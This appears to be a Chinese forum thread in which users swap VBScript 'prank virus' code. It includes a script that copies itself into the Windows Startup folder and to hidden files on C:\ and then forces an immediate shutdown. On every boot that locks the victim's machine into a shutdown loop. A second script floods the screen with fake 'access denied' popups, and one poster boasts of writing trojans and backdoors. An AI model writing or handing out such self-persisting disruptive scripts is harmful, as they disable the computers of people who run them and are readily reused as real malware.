猫史档案馆

小电鼠vdc1

？麻烦快点，交出接病喵………………

？你是要制作过程吗？

.vbs

技术猴

如果是在.bat批处理文件。dir命令可以展开电脑所有文件，来做到删除文件的效果

谁不知道……我这是.vbs啊

而且我这是恶搞病毒，并不是真的想要删

温顺的咪噜gBgE

我编了一个，只会不停关机的

set fso = createobject(“scripting.filesystemobject”)
set ws = createobject(“wscript.shell”)
pt = ws.specialfolders(“startup”) & “”
set file = fso.getfile(wscript.scriptfullname)
file.copy pt
set WshShell = WScript.CreateObject(“WScript.Shell”)

dim wshshell
set wshshell = wscript.createobject(“wscript.shell”)
wshshell.run “shutdown -s -t 0”,0

Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\abc.vbs”)
f.Attributes = f.Attributes Or Hidden

set copy=createobject(“scripting.filesystemobject”)
copy.getfile(wscript.scriptfullname).copy(“c:\123.vbs”)

Set fso = CreateObject(“Scripting.FileSystemObject”)
Const Hidden = 2 Set f = fso.GetFile(“C:\123.vbs”)
f.Attributes = f.Attributes Or Hidden

On Error Resume Next

mhdLing314

我自己搞了一个很像病毒的vbs

set wsc=createobject("wscript.shell")
for i = 1 to 9999999999999
     wsc.run "mshta vbscript:createobject(""wscript.shell"").popup(""拒绝访问C:\"",1,""Error"",64)(window.close)"
next
set wsc=nothing

第二行的第二串数字越大持续时间越长

讲解一下呗:-)

就是一次性弹出多个弹窗

弹出9999999999999个弹窗?

啊对对对

Aucun

能不能搞点正经的，要是真搞了，是要坐牢的啊

e，这是无害的，不信自己去试

如果你要证明，我发过视频的https://www.bilibili.com/video/BV1D34y1v7sM?spm_id_from=333.999.0.0，后面一段

我都敢真机演示了，怎么不是无害的？

我说楼下的楼下

Eternal_Blue

我用python写过木马病毒，喵病毒，U盘病毒以及后门病毒

这是vbs，不是Python……

猫史档案馆

一个小小的VBS做的病毒

回复